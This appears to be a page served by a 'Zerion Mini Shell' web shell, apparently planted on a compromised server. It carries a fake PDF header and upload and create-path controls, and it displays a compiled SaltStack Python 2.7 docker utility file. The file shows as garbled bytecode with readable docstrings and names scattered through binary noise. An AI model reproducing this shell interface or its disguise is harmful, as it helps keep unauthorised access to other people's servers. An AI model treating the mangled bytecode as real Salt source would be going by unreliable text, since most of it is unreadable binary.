%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/docker/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pyc

�
���^c@@skdZddlmZmZmZddlZddlZddlZddl	Zddl
ZddlmZ
ddlmZmZddlmZddlmZyddlZeZWnek
r�eZnXyddlZWnek
r�nXyddlZWnek
rnXe�ZdZd	Zej e!�Z"dd
�Z$deed�Z%d�Z&dS(
u�
Common logic used by the docker state and execution module

This module contains logic to accommodate docker/salt CLI usage, as well as
input as formatted by states.
i(tabsolute_importtprint_functiontunicode_literalsN(tsplit(tCommandExecutionErrortSaltInvocationError(tget_function_argspec(tsixi<i
c
@s�tstd��ntjjj�p*g��i}�sYt�fd�dD��r�yttj	j
�j|d<WnNtk
r�yttjj
�j|d<Wq�tk
r�td��q�XnXy ttj
jj�j|d<WnNtk
r7yttjj�j|d<Wq8tk
r3td��q8XnXy ttj
jj�j|d<Wq�tk
r�y ttjjj�j|d<Wq�tk
r�yttjj�j|d<Wq�tk
r�td��q�Xq�Xq�Xnxd	tjjjjfd
tjjjjffD]�\}}�s0|�kry�|}tjr�y$t|jjdj�j||<Wq�ttfk
r�g||<q�Xn8yt|j �j||<Wntk
r�g||<nXWq�tk
r�g||<q�XqqW�s�d�krry ttj
j!j�j|d<Wqrtk
rnyttjj"�j|d<Wqotk
rjtd
��qoXqrXnxH|D]@}x7dD]/}y||j#|�Wq�t$k
r�q�Xq�WqyWxTdD]L}xC|j%|g�D]/}y|dj#|�Wq�t$k
rq�Xq�Wq�Wx3dD]+}�r|�kr|j&|d�qqWy|d	j#d�Wnt(t$t)fk
r{nX|S(Nu!docker Python module not importedc3@s|]}|�kVqdS(N((t.0tx(tlimit(s>/usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pys	<genexpr><sucreate_containeruhost_configuconnect_container_to_networku&Coult not get create_container argspecu(Could not get create_host_config argspecu2Could not get connect_container_to_network argspeculogsucreate_networkiuipam_configuCould not get ipam argsuversionuselfu	container(ucreate_containeruhost_configuconnect_container_to_network(uversionuself(uhost_configuconnect_container_to_network(ucreate_containeruhost_configuconnect_container_to_network(*t
HAS_DOCKER_PYRtsalttutilstargstsplit_inputtanyt_argspectdockert	APIClienttcreate_containertAttributeErrortClientttypest
HostConfigt__init__tcreate_host_configtEndpointConfigtcreate_endpoint_configtapit	containertContainerApiMixintlogstnetworktNetworkApiMixintcreate_networkRtPY2t__func__t__closure__t
cell_contentst
IndexErrort__wrapped__tIPAMPooltcreate_ipam_pooltremovet
ValueErrortgettpoptNonetKeyErrort	TypeError(R
trettkeytwrapped_functfunc_reftitemtargnametval((R
s>/usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pytget_client_args5s�


 

 
 

%	$

 







cK@s*tjtjjj|��}i}g}|tkr:|S|sId}nIyt|�}Wntk
rlnXt	|d�s�t
jd�d}ny�xt|�D]�}|j
j||�}||kr�q�n|dkrtjjj||�rtjjj||�||<ny-t||�||d|d|�||<Wq�tk
rgt
jd|�q�q�tk
r�}	|j|�|	j||<q�Xq�Wy|j|�Wntk
r�nXxb|j
D]W}||kr�|j
|}
|j|�}|
|kr|j|
�q|||
<q�q�Wy|j|||�Wntk
rLnXWn5tk
r�}	|	j�}t
jd|dt�nXd}i}
|dk	r�||
d	<n|r�||
d
<n|r|rx=|D]2}|
jdg�jdj|j||��q�Wn|
r&t d
d|
��n|S(u
    Translate CLI/SLS input into the format the API expects. The ``translator``
    argument must be a module containing translation functions, within
    salt.utils.docker.translate. A ``skip_translate`` kwarg can be passed to
    control which arguments are translated. It can be either a comma-separated
    list or an iterable containing strings (e.g. a list or tuple), and members
    of that tuple will have their translation skipped. Optionally,
    skip_translate can be set to True to skip *all* translation.
    u__iter__u+skip_translate is not an iterable, ignoringu
ipam_poolstvalidate_ip_addrstskip_translateu)No translation function for argument '%s'uError translating input: '%s'texc_infou
error_messageuinvalidu
collisionsu5'{0}' is an alias for '{1}', they cannot both be useduFailed to translate inputtinfo((N(!tcopytdeepcopyRR
Rtclean_kwargstTruet_splitRthasattrtlogterrortlisttALIASESR.tdatatis_dictlisttrepack_dictlisttgetattrtdebugRR/tstrerrort_merge_keystappendt_post_processingt	Exceptiont__str__R0t
setdefaulttformattALIASES_REVMAPR(t
translatorR<tignore_collisionsR;tkwargstinvalidt
collisionsR4treal_keytexctnew_keytvaluet
error_messaget
error_dataR7((s>/usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pyttranslate_input�s�	

	% 









cO@s�tjjj|�}y=tjjjtjjj�j}tjj}tjj	}WnGt
k
r�tjjjtjj�j}tjj}tjj}nXxgd
dfD]Y\}}||kr�|j
|�}||kr�tjd|||�q|||<q�q�Wtjjj|jd��rDtjjj|d�|d<ni}x6t|�D](}	|	|krW|j
|	�||	<qWqWWg}
|r�|
j||��n|
jg|D]}||�^q��|
rtd�|
D��r�td��q|
|d<n||�}|jd	�}
|
r�xZt|
�D]I\}}x:t|
|�D](}	|
||	dkrN|
||	=qNqNWq1Wn|S(
uB
    Builds an IP address management (IPAM) config dictionary
    udriveruipam_driveruoptionsu	ipam_optsuCdocker.create_ipam_config: Both '%s' and '%s' passed. Ignoring '%s'cs@s|]}d|kVqdS(uSubnetN((Rtpool((s>/usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pys	<genexpr>Jsu&A subnet is required in each IPAM poolupool_configsuConfig(udriveruipam_driver(uoptionsu	ipam_optsN(RR
RRARRRR*Rt
IPAMConfigRR+tcreate_ipam_configR/REtwarningRIRJR.RKRGRPtextendRRt	enumerateR0(tpoolsRYt	pool_argstcreate_poolt
create_configtprimary_keyt	alias_keyt	alias_valtpool_kwargsR4tpool_configsRcR3t
pool_dictstidxt_((s>/usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pyResT
 &
('t__doc__t
__future__RRRR?tloggingtsalt.utils.argsRtsalt.utils.datatsalt.utils.docker.translatet#salt.utils.docker.translate.helpersRRCtsalt.exceptionsRRRRtsalt.extRRRBRtImportErrortFalsetdocker.typestdocker.utilstobjecttNOTSETtCLIENT_TIMEOUTtSHUTDOWN_TIMEOUTt	getLoggert__name__RER0R:RbRe(((s>/usr/lib/python2.7/site-packages/salt/utils/docker/__init__.pyt<module>s@




	xe

Zerion Mini Shell 1.0